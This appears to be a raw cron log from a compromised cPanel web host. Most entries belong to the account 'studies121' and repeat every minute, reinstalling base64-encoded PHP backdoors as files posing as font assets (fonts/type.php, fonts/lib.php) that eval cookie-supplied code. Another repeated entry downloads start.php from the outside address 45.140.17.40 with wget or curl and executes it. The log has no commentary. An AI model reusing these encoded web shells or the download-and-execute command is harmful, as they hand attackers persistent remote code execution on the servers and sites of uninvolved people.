Feb 22 09:02:01 ip-184-168-122-23 CROND[525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:02:01 ip-184-168-122-23 CROND[523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:02:01 ip-184-168-122-23 CROND[522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:02:01 ip-184-168-122-23 CROND[524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:03:01 ip-184-168-122-23 CROND[866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:03:01 ip-184-168-122-23 CROND[867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:03:01 ip-184-168-122-23 CROND[869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:03:01 ip-184-168-122-23 CROND[868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:04:01 ip-184-168-122-23 CROND[1263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:04:01 ip-184-168-122-23 CROND[1265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:04:01 ip-184-168-122-23 CROND[1267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:04:01 ip-184-168-122-23 CROND[1266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:04:01 ip-184-168-122-23 CROND[1268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:05:01 ip-184-168-122-23 CROND[1618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 09:05:01 ip-184-168-122-23 CROND[1624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:05:01 ip-184-168-122-23 CROND[1621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:05:01 ip-184-168-122-23 CROND[1620]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:05:01 ip-184-168-122-23 CROND[1623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:05:01 ip-184-168-122-23 CROND[1622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:05:01 ip-184-168-122-23 CROND[1619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:06:01 ip-184-168-122-23 CROND[1999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:06:01 ip-184-168-122-23 CROND[2003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:06:01 ip-184-168-122-23 CROND[2002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:06:01 ip-184-168-122-23 CROND[2004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:06:01 ip-184-168-122-23 CROND[2001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:07:01 ip-184-168-122-23 CROND[2304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:07:01 ip-184-168-122-23 CROND[2306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:07:01 ip-184-168-122-23 CROND[2308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:07:01 ip-184-168-122-23 CROND[2307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:08:01 ip-184-168-122-23 CROND[2610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:08:01 ip-184-168-122-23 CROND[2611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:08:01 ip-184-168-122-23 CROND[2614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:08:01 ip-184-168-122-23 CROND[2617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:08:01 ip-184-168-122-23 CROND[2616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:09:01 ip-184-168-122-23 CROND[3042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:09:01 ip-184-168-122-23 CROND[3044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:09:01 ip-184-168-122-23 CROND[3047]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 09:09:01 ip-184-168-122-23 CROND[3048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:09:01 ip-184-168-122-23 CROND[3045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:10:01 ip-184-168-122-23 CROND[3397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:10:01 ip-184-168-122-23 CROND[3403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:10:01 ip-184-168-122-23 CROND[3402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:11:01 ip-184-168-122-23 CROND[3727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:11:01 ip-184-168-122-23 CROND[3729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:11:01 ip-184-168-122-23 CROND[3730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:11:01 ip-184-168-122-23 CROND[3732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:12:01 ip-184-168-122-23 CROND[4076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:12:01 ip-184-168-122-23 CROND[4078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:12:01 ip-184-168-122-23 CROND[4079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:12:01 ip-184-168-122-23 CROND[4080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:12:01 ip-184-168-122-23 CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:13:01 ip-184-168-122-23 CROND[4389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:13:01 ip-184-168-122-23 CROND[4391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:13:01 ip-184-168-122-23 CROND[4390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:13:01 ip-184-168-122-23 CROND[4392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:14:01 ip-184-168-122-23 CROND[4739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:14:01 ip-184-168-122-23 CROND[4741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:14:01 ip-184-168-122-23 CROND[4742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
